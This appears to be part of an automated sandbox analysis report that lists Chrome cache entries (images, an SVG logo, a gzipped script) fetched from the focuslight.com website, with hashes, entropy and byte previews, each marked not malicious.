SHA-512:	0A543FA4C401EDE14B534B12B36C1BA51A0B7E62EF526F5B96ED3F01390EF0974F646A418F274D831A6E07C46C1BCF1B07BEFEEAF0B7A7C50B0B7BA969B44F17
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/themes/cn/images/gwcicn0.png
Preview:	.PNG........IHDR...(...%.....0`......pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmp:CreateDate="2022-12-02T19:03:20+08:00" xmp:ModifyDate="2022-12-02T19:03:54+08:00" xmp:MetadataDate="2022-12-02T19:03:54+08:00" dc:format="image/png" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" xmpMM:InstanceID="xmp.iid:386b997d-5f0d-4642-b459-872c1231cb40" xmpMM:DocumentID="xmp.did:386b997d-5f0d-4642-b459-872c1231cb40" xmpMM:Origi

Chrome Cache Entry: 235

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 376x850, components 3
Category:	dropped
Size (bytes):	297870
Entropy (8bit):	7.982747671700857
Encrypted:	false
SSDEEP:	6144:J2TG396PUWcN9Owc5mJTDOFPOWQLosUjM/BaxVGEaLX:wq9O94DOFPOWaosUj8BaxoZb
MD5:	4E7EC87C11162851A73C36E277AA47CB
SHA1:	B10F91FBC13A7E2274A678CAA789816E6ECD80C1
SHA-256:	169BDAAA981829233EAA4C28F161B2FDEA6D399AB702BA16377D9189DDF35F83
SHA-512:	47AE7A5F7F24A8FE1B5A84441B2A56CA29E323BFC4589330E45426EFFFE7CFBB97B45DE25E379C3C75330B925A4433D19398E9C270897180D162F76097F2BBC9
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......d......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c002 79.f354efc70, 2023/11/09-12:05:53 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:4b6ac5b7-95c4-c94c-bb89-152cc11dc0c9" xmpMM:DocumentID="xmp.did:446C02821E5F11EF9B039E0452E55813" xmpMM:InstanceID="xmp.iid:446C02811E5F11EF9B039E0452E55813" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8e4fea13-614c-4244-bf8e-93667ec39898" stRef:documentID="adobe:docid:photoshop:f5763641-5d62-a741-a48d-cc4ba512573f"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d............................

Chrome Cache Entry: 236

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 200 x 200, 16-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	8673
Entropy (8bit):	7.906294328105521
Encrypted:	false
SSDEEP:	192:0nuZL1wmlyGz9ZhJ0Hg9qvj5Jz5csVTkIjmvaV:LZL1w0TLd9qvj5jVTDmvaV
MD5:	360D44DC94E92F16141A90B177B918DC
SHA1:	3C804C3D56C5810928CD252424A21E325A2D137D
SHA-256:	C991208D541EF58AC88E7DDC1C373574E2AED039C96AB5BB2251A6FACA810F05
SHA-512:	07D8693F802D6AAF7F2F799242F1B7C204B44E177F5FD490DCB94B85C7E0A3CBEA1B17316C013691B92E3D050EE9C9C31F80F6ADFD04B71E2A52188C4B759663
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...............r.....gAMA......a.....sRGB........ cHRM..z&..............u0...`..:....p..Q<....bKGD.......C......pHYs...H...H.F.k>.. .IDATx...y@T..?..s.%IP.%s.........5.\.A.2.3.n...ZW.%....K.......U+.....U..d.4T\Y..........g......}F.7.<...."..A...@...\.....].x..meV....cN....p....Q...x...........Wfg.>."....D..........:.`.:...AA.x.qx5?..&...dN...z..#.'...D....\|6...j..w..........7.c../P........7....h..g ..........S.....Y.v.OV.........a..'.%Mu.".;S.k.r.8J...-Y.."rY,.rQ..).\|..i..{w.}_1G.Z..].k>.P..@dK..E.GJ!....>....5m....(.t..d~.Wq.v....5...\L....:AyqX..=3g.NAd.,.r9....Tg.C.......5-.U+.i....B."bnr.z...#...T...6F...:..5.@.E..:........#...g.......`D6..!'........".9b..4....zy......).a....BN...e.a....m.*..B..LH...4...L...X ..D+`.X.).w6.....f>.k5D...!'..\|ZB......P.i...L..:97..9)..<d.x.).O....t.B/............L.L.....8...4. .qB..o...t......9.GP...u.H.a...@..r._u...`...(.....W..zD'DT....^...V...,X .$..._.>..3.[V..SG....X .$.....k.77...}.

Chrome Cache Entry: 237

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1200x800, components 3
Category:	dropped
Size (bytes):	142916
Entropy (8bit):	7.93006662572567
Encrypted:	false
SSDEEP:	3072:ku6gO4F22vJ3vnFTmcryqzBeLjTX9XYf5CTOSwGDWlinKlRmF:ku6qBvnFTNv1en5XYf5CySrMinP
MD5:	BD1B79C608C39DC93D9117E92975E8BA
SHA1:	8B1ACDBBA142E947A404A287C7114823EE6D1427
SHA-256:	A1334BE20CAFC88D594635B38EC387A392B68D3A986048037805C278F7DCEEDC
SHA-512:	E5827C2FFC534FCCB38F51E66520554D6B835770A51DD02DAD9488085906D93C8E633BE69E79345EC0053597D7C4E867720E48A67F77E89A7B026A14ECC785A7
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......P......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c002 79.f354efc70, 2023/11/09-12:05:53 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="6AD9502BB18C6B0770F02F38E802CD81" xmpMM:DocumentID="xmp.did:87A41A64698F11EF91BB98AED9CD8A67" xmpMM:InstanceID="xmp.iid:87A41A63698F11EF91BB98AED9CD8A67" xmp:CreatorTool="Adobe Photoshop 24.7 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8cfed4ba-e404-ef49-9ce9-82972089318b" stRef:documentID="adobe:docid:photoshop:232aa6c5-f4cd-3c49-9f90-4f3752cfa6f1"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...........................................

Chrome Cache Entry: 238

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 376x850, components 3
Category:	downloaded
Size (bytes):	297870
Entropy (8bit):	7.982747671700857
Encrypted:	false
SSDEEP:	6144:J2TG396PUWcN9Owc5mJTDOFPOWQLosUjM/BaxVGEaLX:wq9O94DOFPOWaosUj8BaxoZb
MD5:	4E7EC87C11162851A73C36E277AA47CB
SHA1:	B10F91FBC13A7E2274A678CAA789816E6ECD80C1
SHA-256:	169BDAAA981829233EAA4C28F161B2FDEA6D399AB702BA16377D9189DDF35F83
SHA-512:	47AE7A5F7F24A8FE1B5A84441B2A56CA29E323BFC4589330E45426EFFFE7CFBB97B45DE25E379C3C75330B925A4433D19398E9C270897180D162F76097F2BBC9
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/uploads/2024/05/%E5%85%89%E9%80%9A%E4%BF%A1.jpg
Preview:	......Exif..II*.................Ducky.......d......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c002 79.f354efc70, 2023/11/09-12:05:53 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:4b6ac5b7-95c4-c94c-bb89-152cc11dc0c9" xmpMM:DocumentID="xmp.did:446C02821E5F11EF9B039E0452E55813" xmpMM:InstanceID="xmp.iid:446C02811E5F11EF9B039E0452E55813" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8e4fea13-614c-4244-bf8e-93667ec39898" stRef:documentID="adobe:docid:photoshop:f5763641-5d62-a741-a48d-cc4ba512573f"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d............................

Chrome Cache Entry: 239

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 240

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 7057
Category:	downloaded
Size (bytes):	2618
Entropy (8bit):	7.918437102644803
Encrypted:	false
SSDEEP:	48:Xan4nGLpZcWrx6dr3ogCXevBFxEOTTZsH4/rs1j/ONaIQM4Lx+F9IQ:q4nGLBECXeJFxEOTNc4/rcCNaIQBLxIj
MD5:	BA3C66419257721C5FB8FDA0EF5B9DCF
SHA1:	F644FC7D37C0199AD567695DE834F92A3C6F67FF
SHA-256:	9E2D25218BD622462DB6E064B92498C197E358BAB9AADECF0F617FF9A62720EA
SHA-512:	400DDB0783D4CC405AE245ADE723FAA0DAB2FAC082A9374C35F11FE5E9087C045A470BDBD54D3D9513D74250F43B119FA3C1773CDBFB6B30171268425BAC6CC0
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/themes/cn/en_js/wow.min.js
Preview:	...........Y.o.........<Q....6...p...5..5.%w(.G..I.......\J..C.......yo.goN.O.....>.'.9..:9.n<..x..q........_.rnD.,2Z9W......3.}.PQ.tn.}t.y.H..,<.y-G.q..2. ..Wx.?W....'"..e...@T..#.M..v.<....B..t......x.8..I...0.b.,f.E<.G#?K...........!.".5....fqo(.6.q.6..,\VeS6.%....B....glY.......!(Vy.uqyz..O$}..#v.............S;.dUfr.D...6..(....S....H>.OU..{.g......MVdgY.P.x...(.\|..q.6.$.......1..g5.N...#8/.N..i.M.d.......;.p..).....5.!....eG...'.6.....SC....G..q....Pq..-..'..\|..?@s..T...z.^..I.'y....V.y~..O$>..v. .S~..x..Vc?.F8..f-....1x.........S.q<e.G.1...H...4.I.A....V.Y...l=X.s..+.&.\.>.VO"..i4oWO/h.`u..e4.....k.g..x..x.\.....>/.,...K.@hCnV...w..T..2..D..y.%<w.../..]!..YA.=.8.....E].tz......E.$..s..q..)..W.eY5H....+$.\|..B....z .......WAdQ....y4.T..2'Q.....".\|G..UN^...s..'. .M.{z.b....d2..v.}....v..}]>.W..]..iH&.+.`.D.l6.p.....4).Mar..b1.{..5O..z....n..aEK$i...1mZ.....K^.l<.....,.H...p..l.2A.L.....ny.N!u.H<..3......\|........Qx.P.l

Chrome Cache Entry: 241

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	122778
Entropy (8bit):	5.837581532475447
Encrypted:	false
SSDEEP:	3072:bVuAHX8No/clw2HoSZwEU4iQ/2j/ty9r7PXag:b4IMNgcPTyEU41wQr7f
MD5:	AFB59A5CC9E457893BF31E6DB966AE20
SHA1:	0D7973DBE46FA15EA924EDDEA6398BBAF737BF88
SHA-256:	6D99625487BDB61BF52A0A4B63DD55FE7845B0A6E4D86C6E87C37CDFDFE8D029
SHA-512:	7FDD1337957B890B44418810076602445E0C33CEC3976ACCF520786E829BCB4B5D74AC8734A7AA25DBC9A530357D0F6B7070F03B31131B437CD54B34BF6F2704
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/themes/cn/images/logo.svg
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="no"?>.<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">.<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="7402px" height="1126px" viewBox="0 0 7402 1126" enable-background="new 0 0 7402 1126" xml:space="preserve"> <image id="image0" width="7402" height="1126" x="0" y="0". href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAHOoAAARmCAQAAAA/TLd5AAAABGdBTUEAALGPC/xhBQAAACBjSFJN.AAB6JQAAgIMAAPn/AACA6QAAdTAAAOpgAAA6mAAAF2+SX8VGAAAAAmJLR0QA/4ePzL8AAAAJcEhZ.cwAALiMAAC4jAXilP3YAAAAHdElNRQfnAxcCHDJg30zfAACAAElEQVR42uzdZ7hdZZ338d/JSU8g.oYUeWuiggEpg6NKlShVQUVCKFSyDio69oKKoOCKODIMKdkUU0bHP4OjM41hQLKPoWEZBEawIijwv.7ErJSfY5/7Xu9fm8C4Hr+q5cF9ln771+6x67IzRmbtbOoqyeVbIwC7Mwq2Rh5mdmFmRW5mR+pidZ.OWPVmdB5Z+a86gRGakHWzppZK6tnrd//3bgw8zM/M7NyZmdWdR7QeV4X+JPZWT9rZM2smTWy2u9/.5l6QOZmVBZmRedV5wN/432xYnQAAsAxWzxpZK2v88ZP9hVmYOX/8

Chrome Cache Entry: 242

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 30 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1646
Entropy (8bit):	6.296849280863059
Encrypted:	false
SSDEEP:	48:N/6sMYL4knA9WIY8/c0rrDzrDunrD93rrD6Hnsnp69Y:NSJYkknmWIY8/tr4V6HnsnpOY
MD5:	B7A4273E64081D202F4C7AA4C9ED54CA
SHA1:	9FA38377685660A2FEEFA70F5FBC20FAA8A5C00C
SHA-256:	B575DF18F1C93B5296AD8828DE3810F697F7B233241CBC0E05A3855040F8AF66
SHA-512:	C24DD43689FE09E4220592FC791DB433B2252F17D1B3FC5FA81AC53EC9D5F0E4CC4972AEB58A8FC9B7DDCA6348D285695091F5C5E5ED75AB3920CF5BE343BCAA
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............iM.....pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmp:CreateDate="2022-07-27T11:17:06+08:00" xmp:ModifyDate="2022-07-27T11:23:54+08:00" xmp:MetadataDate="2022-07-27T11:23:54+08:00" dc:format="image/png" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" xmpMM:InstanceID="xmp.iid:553fed5f-558f-e247-8d23-2e34fba6ce03" xmpMM:DocumentID="xmp.did:553fed5f-558f-e247-8d23-2e34fba6ce03" xmpMM:Origi

Chrome Cache Entry: 243

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 14 x 24, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1296
Entropy (8bit):	6.5268517674796405
Encrypted:	false
SSDEEP:	24:5+1hmYaWwh82lYSKwya8Vyj/uVGej/hT3fyJ3V3ilSGgldTEMLFqhAk:eMYLvnLL10ruEerheJ3iSHdoMZUr
MD5:	2EB9533A66A7E88B7FC5FC13C10109BF
SHA1:	6A3227A3822BF25F2D8A101E3F1CFD55EC63DCB6
SHA-256:	4365F854873686C1B2B1D542D8A293B504836666C2BF7EC236215852A4B654AA
SHA-512:	993FA25CB6F5A19CC48483F820C29F02A2EF4EB57F148020EA3639CCA33EF28043B0DFCCCB2F622A34B22A77F6F7F201B9F58FC4371714766C8304CC9E6301E0
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/themes/cn/images/jtrired1.png
Preview:	.PNG........IHDR................W....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:4b6ac5b7-95c4-c94c-bb89-152cc11dc0c9" xmpMM:DocumentID="xmp.did:2DB3B51712D911ED90A2908287A79A53" xmpMM:InstanceID="xmp.iid:2DB3B51612D911ED90A2908287A79A53" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:57916a26-a5d7-0244-96ec-d990b5c02798" stRef:documentID="adobe:docid:photoshop:201ce05f-b649-e94f-9fc6-cad089f6b266"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>g......"IDATx.bd.....

Chrome Cache Entry: 244

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 15 x 15, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2925
Entropy (8bit):	7.87140972882481
Encrypted:	false
SSDEEP:	48://6qbllck+itY5vm7I6Wzv9UAOb57C1cSMIg6lc3d+0UWHdVG/jJtFo3/d7RYqW:/SMllcHitlIxv9vk7C1+I4wWHLihk/xO
MD5:	A5D8F2BC070C772F122E11355D5F14C7
SHA1:	A8485AC27B79E5244B5207C8EF42785988602850
SHA-256:	2A976E044312F49524CC8F3C0C14E9F22FE6F76EDE2942160F96391923402806
SHA-512:	1E25D8C04C47F6E1F632F76530B311626724EB01E57F12EDCE1CB3068CDBFE11427F4DAB45FDC12FCE89CBC5391CF7BE394B69E9F0604EC5C8A3984019085878
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............;.J....pHYs................MiCCPPhotoshop ICC profile..x.SwX...>..e.VB..l.."#....Y....a...@...V....HU...H...(.gA..Z.U\8....}z...........y.....&..j.9R.<:...OH.....H.. ....g......yx~t.?...o...p..$......P&W. ...".....R...T.......S.d.....ly\|B"......I>................(G$.@..`U.R,......@"......Y.2G.....v.X..@`...B,.. 8..C.... L..0.._p..H.....K.3.....w....!..l.Ba.).f.."...#.H..L.........8?......f.l....k.o">!.........N..._....p...u.k.[..V.h..]3...Z..z..y8.@...P.<......%b..0.>.3.o..~..@...z..q.@......qanv.R....B1n..#.....)..4.\,...X..P"M.y.R.D!.....2......w....O.N....l.~.....X.v.@~.-......g42y.......@+..........\...L....D..*.A..............a.D@.$.<.B.......A.T.:.............18....\..p..`........A...a!:..b.."......"aH4... ..Q"..r...Bj.]H#.-r.9.\@.... 2....G1...Q...u@......s.t4.]...k....=.....K.ut.}..c..1.f..a\..E`.X.&..c.X5V.5c.X7v....a..$......^...l...GXLXC.%.#....W...1.'"..O.%z...xb:..XF.&.!.!.%^'.._.H$...N.!%.2I.IkH.H-.S.>..i.L&.m.......

Chrome Cache Entry: 245

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 14 x 21, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	284
Entropy (8bit):	6.972281741799883
Encrypted:	false
SSDEEP:	6:6v/lhPuYRmtdR+GvviIPhm+A4BJvL4YcWisuFqVT6+jp:6v/7GyO3/HLUFkT3
MD5:	6ABD377FD6B183DEE46F4C67D066D501
SHA1:	F53EDB4278EAFB527FACCCE3391258A4C4A63807
SHA-256:	3DBA6AD5D48B58549BC2BD67EC8D795D5A66379231F6140B5FA1C955DAA2DF56
SHA-512:	314517AD9C54E5527DAA7E496C23BB81233AC0AD1C361B78CE06224D1EFB0A550FEFB8E2C0F10132AB1725144AFE3BEC00896C7D74F5961B6B63E5572F430AC0
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/themes/cn/images/xiangxia.png
Preview:	.PNG........IHDR.............vY.....IDAT8.....0..?.H...Q..b...R.2,@...K z....@.).r8P..O.I/:...9..Hj$i%. .j:....."......)0.\|.l..v.t.X.t.l.6&.I.JJm.]...m.c....J[S..cW. ..Jx...H...`..j..p..U......`tl...y.+.3.\|....G.....ql.G`..q.{<w.N.....U?...<..#q.H...i......IEND.B`.

Chrome Cache Entry: 246

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 67 x 67, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1863
Entropy (8bit):	6.181272764852973
Encrypted:	false
SSDEEP:	48:N/6cMYL4knA9WIY25Fy/c0uajH14GHp3yHP1Hny3uaAUHcakK9:NS5YkknmWIY25Fy/nVdsv1HnLUHcC9
MD5:	808F4674AA2300C501548646FE9E32DE
SHA1:	E29AC14FA04D92A18FA869EF47F6AB90076EA23E
SHA-256:	6EAB8BA18720D645FE0A12DF86D7B5E557D7786E07001A463C436284C2ABCCA3
SHA-512:	1C0CA787614CE97B7093E1EDBC6310495D1242511A0FC35ACE1C9A95D24A21B9CC0C8939566D864212327567BD4094CDB691F1DF3E0934CCC7EEF60C689AE4F2
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...C...C.......s....pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmp:CreateDate="2022-07-22T11:00:11+08:00" xmp:ModifyDate="2022-07-22T11:01:08+08:00" xmp:MetadataDate="2022-07-22T11:01:08+08:00" dc:format="image/png" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" xmpMM:InstanceID="xmp.iid:3e14227a-7ef7-ff4e-b572-e71d7b91a09b" xmpMM:DocumentID="xmp.did:fc093351-8ceb-e040-9a25-1e8923967dd7" xmpMM:Origi

Chrome Cache Entry: 247

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 38 x 41, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	581
Entropy (8bit):	7.480696558061011
Encrypted:	false
SSDEEP:	12:6v/7QakUhDOdRfil8n4kyNtIcelbLE1fWBN5Aoa8H6/sLCB1:NvKDOD74dgPC6Yl5j
MD5:	03663BA36D31F8534D89487BD2B9BF8F
SHA1:	1B7E341D3F9F7F6DC1117FE5B1FBF23C3C4364B5
SHA-256:	7DCB5F596C6AA8BDC65D02EF1F653FB7AABA99F1FE48687168CD97EF8941B36C
SHA-512:	945A8B8F7CD92F0A792F377638B8374AAB2D0739FB66B46E1B925E18AD476FA48C6DCA3EE25A078B698DFF8490B760522EF261633034153F1C84492D18DA6423
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...&...).....Yk[{....IDATX..OH.Q...[....?.A<..^..<..5.V .Q.`x..=G...s..C."..v..,j."$........[.....8ov.E....7.7.y.c.....O.a..p.p,....@.@.2Jbk.M;q.\|.~...F.;"2!.y......<4...,..fk...T....q\|.Y...I...J.....d.x....h.o.......7....'..p.......~T`.J..1....3R.?....W.Ft...t....^.e...t.%..%..%....{.<..XE...$.7.O.w.mkw......A.b......&.9..<.w..`.........^X{.X..[..I=.2..3Vu.PtJ...KD."rj.."r.B.3...',..~y..).....tZ.....M[..i&.'.?./..G/.....o...-...G..0..H...%..%..%..%..%v....Q.4.Y.(..~..f%.....Z..@. 5[...5.....\......V.8....r.;..bM_p..:....IEND.B`.

Chrome Cache Entry: 248

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 17 x 17, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	336
Entropy (8bit):	7.159285191876734
Encrypted:	false
SSDEEP:	6:6v/lhP6+kNHdoTMlfQYUXpnBpiCy+wh4nYdcsNjpC1Tp0lb1NGRzilasxGL3/cs7:6v/7UqTiOFjApfdcCjpmUfGR6AL3t7
MD5:	3EBD80B72DF9EF20DFB2434E4486EDF4
SHA1:	70819FC8504475DBD585A3D9E307D42262D86164
SHA-256:	8999E2AA6A05EF04B14F1198F42B6E79166609AE3BE8FF43A0F492A419B7CFBE
SHA-512:	A64C681D1E2A0C2C7DEA8A6A05B64C2283AAF22588E32CAC3C2A74067302B2F98D2EB437D927F89CFE78B8CE7A3B9EF51F56F56F4FE46F6523A8F4343003CD45
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............;mG.....IDAT8....J.A...k.K.........,........JTPAI.@..h....mE.4..(X. .1.'.w.a.]f...2s.\|.....f.}..i\|.W.R.;Q8.....#.....E.53......pn.f..b.....j.w5.iY!..8...4..x..8...k'..$]+>...W$..% X..!...M..!d .^.2.4..2=......x...f.1.i.`.<'Em.g....l....x....<..:........y.6y...Z.V...3.!(.K..A...8..._..........IEND.B`.

Chrome Cache Entry: 249

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	180292
Entropy (8bit):	5.5809392772244
Encrypted:	false
SSDEEP:	3072:jSkaXFR/KWb3p7oC0hjGtThyxxE3mdTd5Al34H4A2V11XFiNG0T0kDqR6JvEz7H:jSkaXFJ/b3p7o5jcGx5dJPHOBXFsfT0D
MD5:	A4A4CE55DF5D3B7D70B2FB2AD604965D
SHA1:	0D4DA46A9D13321CB9BFCC558C5EFC99DC2CFFA1
SHA-256:	8CD79D45BBA5E1DE985278B3EB98CB3B72CFB6470B4341783748F89CE8D46356
SHA-512:	2A504EB45B06C23FDD29812B5249E0B4C024F1DF3A5018013E0E68D9F0A0919328FBCB96A226F0C2E3EBCCE067F55C223303D0CBEA4246D85B59F6895BCECC53
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/themes/cn/images/logo1.svg
